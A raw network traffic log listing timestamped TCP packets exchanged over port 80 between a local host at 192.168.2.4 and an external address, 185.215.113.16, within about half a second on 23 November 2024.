Nov 23, 2024 17:44:48.158287048 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:48.158327103 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:48.159162045 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:48.159214973 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:48.159282923 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:48.159327984 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:48.160145044 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:48.160197020 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:48.160238028 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:48.160284996 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:48.161148071 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:48.161200047 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:48.161309004 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:48.161361933 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:48.162137032 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:48.162195921 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:48.162242889 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:48.162302017 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:48.163089991 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:48.163151026 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:48.163209915 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:48.163266897 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:48.164084911 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:48.164156914 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:48.164206982 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:48.164262056 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:48.284158945 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:48.284226894 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:48.284296036 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:48.284343004 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:48.284624100 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:48.284679890 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:48.284744978 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:48.284797907 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:48.285604954 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:48.285664082 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:48.285732031 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:48.285784006 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:48.286624908 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:48.286683083 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:48.317653894 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:48.317711115 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:48.317775965 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:48.317821026 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:48.318288088 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:48.318344116 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:48.318449020 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:48.318500996 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:48.319144011 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:48.319195986 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:48.319252968 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:48.319304943 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:48.320120096 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:48.320171118 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:48.320231915 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:48.320281029 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:48.321103096 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:48.321154118 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:48.321198940 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:48.321247101 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:48.322181940 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:48.322227955 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:48.322299957 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:48.322371006 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:48.323211908 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:48.323265076 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:48.323359966 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:48.323406935 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:48.324173927 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:48.324229002 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:48.324259043 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:48.324311018 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:48.325056076 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:48.325112104 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:48.325156927 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:48.325207949 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:48.326018095 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:48.326066971 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:48.326118946 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:48.326164961 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:48.326997042 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:48.327050924 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:48.327102900 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:48.327178001 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:48.328021049 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:48.328071117 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:48.328133106 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:48.328176975 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:48.328982115 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:48.329032898 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:48.329092979 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:48.329138041 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:48.329967022 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:48.330018044 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:48.330076933 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:48.330122948 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:48.330982924 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:48.331049919 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:48.331096888 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:48.331136942 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:48.331969023 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:48.332026958 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:48.332082033 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:48.332123995 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:48.332963943 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:48.333008051 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:48.333076000 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:48.333118916 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:48.333949089 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:48.334005117 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:48.334196091 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:48.334243059 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:48.334899902 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:48.334943056 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:48.335011005 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:48.335058928 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:48.335902929 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:48.335953951 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:48.336024046 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:48.336067915 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:48.336880922 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:48.336924076 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:48.336965084 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:48.337004900 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:48.337892056 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:48.337960958 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:48.338001966 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:48.338052034 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:48.338851929 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:48.338903904 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:48.338953018 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:48.339000940 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:48.339844942 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:48.339899063 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:48.339968920 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:48.340028048 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:48.340853930 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:48.340903997 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:48.340941906 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:48.340986967 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:48.341809988 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:48.341859102 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:48.341933012 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:48.341984034 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:48.342812061 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:48.342858076 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:48.342938900 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:48.342983961 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:48.343803883 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:48.343852043 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:48.343902111 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:48.343945980 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:48.344826937 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:48.344871998 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:48.344887018 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:48.344923973 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:48.345772028 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:48.345815897 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:48.345875025 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:48.345912933 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:48.346755028 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:48.346801043 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:48.346865892 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:48.346918106 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:48.347734928 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:48.347781897 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:48.347848892 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:48.347888947 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:48.348762035 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:48.348812103 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:48.348906994 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:48.348953962 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:48.349792957 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:48.349839926 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:48.349874973 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:48.349917889 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:48.350707054 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:48.350749969 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:48.350837946 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:48.350881100 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:48.351747990 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:48.351799965 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:48.351855993 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:48.351902008 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:48.352699041 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:48.352744102 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:48.352792978 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:48.352832079 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:48.353665113 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:48.353709936 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:48.353758097 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:48.353799105 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:48.354685068 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:48.354722023 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:48.354862928 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:48.354911089 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:48.355645895 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:48.355751038 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:48.355758905 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:48.355813980 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:48.356645107 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:48.356748104 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:48.356913090 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:48.356952906 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:48.357667923 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:48.357712984 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:48.357820988 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:48.357857943 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:48.358638048 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:48.358724117 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:48.358752966 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:48.358789921 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:48.359608889 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:48.359651089 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:48.359714985 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:48.359755039 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:48.360584974 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:48.360632896 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:48.360697031 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:48.360737085 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:48.361583948 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:48.361638069 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:48.361699104 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:48.361738920 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:48.362557888 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:48.362600088 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:48.362682104 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:48.362801075 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:48.363552094 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:48.363604069 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:48.363667011 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:48.363709927 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:48.364562035 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:48.364605904 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:48.364753008 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:48.364790916 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:48.365555048 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:48.365616083 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:48.365638018 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:48.365655899 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:48.485276937 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:48.485342026 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:48.485398054 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:48.485435963 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:48.485744953 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:48.485799074 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:48.485857010 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:48.485913038 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:48.487267017 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:48.487348080 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:48.487349987 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:48.487391949 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:48.488121033 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:48.488168955 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:48.519149065 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:48.519207954 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:48.519326925 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:48.519349098 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:48.519365072 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:48.519367933 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:48.519392967 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:48.519407034 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:48.520272017 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:48.520327091 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:48.520498037 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:48.520541906 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:48.521300077 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:48.521332026 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:48.521352053 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:48.521379948 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:48.522213936 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:48.522253036 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:48.522335052 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:48.522372961 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:48.523205042 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:48.523250103 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:48.523324966 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:48.523364067 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:48.524422884 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:48.524466991 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:48.524485111 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:48.524523973 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:48.525221109 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:48.525262117 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:48.525382996 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:48.525439978 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:48.526174068 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:48.526225090 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:48.526293993 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:48.526331902 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:48.527172089 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:48.527278900 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:48.527304888 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:48.527322054 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:48.528156996 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:48.528212070 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:48.528337002 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:48.528379917 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:48.529167891 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:48.529222012 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:48.529241085 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:48.529280901 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:48.530085087 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:48.530122042 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:48.530222893 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:48.530261993 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:48.531110048 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:48.531166077 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:48.531255007 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:48.531295061 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:48.532080889 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:48.532244921 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:48.532273054 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:48.532284021 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:48.533071041 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:48.533117056 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:48.533117056 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:48.533158064 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:48.534059048 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:48.534102917 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:48.534171104 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:48.534209013 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:48.535031080 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:48.535069942 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:48.535140991 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:48.535176039 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:48.536041021 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:48.536091089 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:48.536139965 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:48.536180973 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:48.537003994 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:48.537053108 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:48.537139893 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:48.537177086 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:48.538007975 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:48.538054943 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:48.538157940 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:48.538197041 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:48.538985968 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:48.539035082 CET	49756	80	192.168.2.4	185.215.113.16
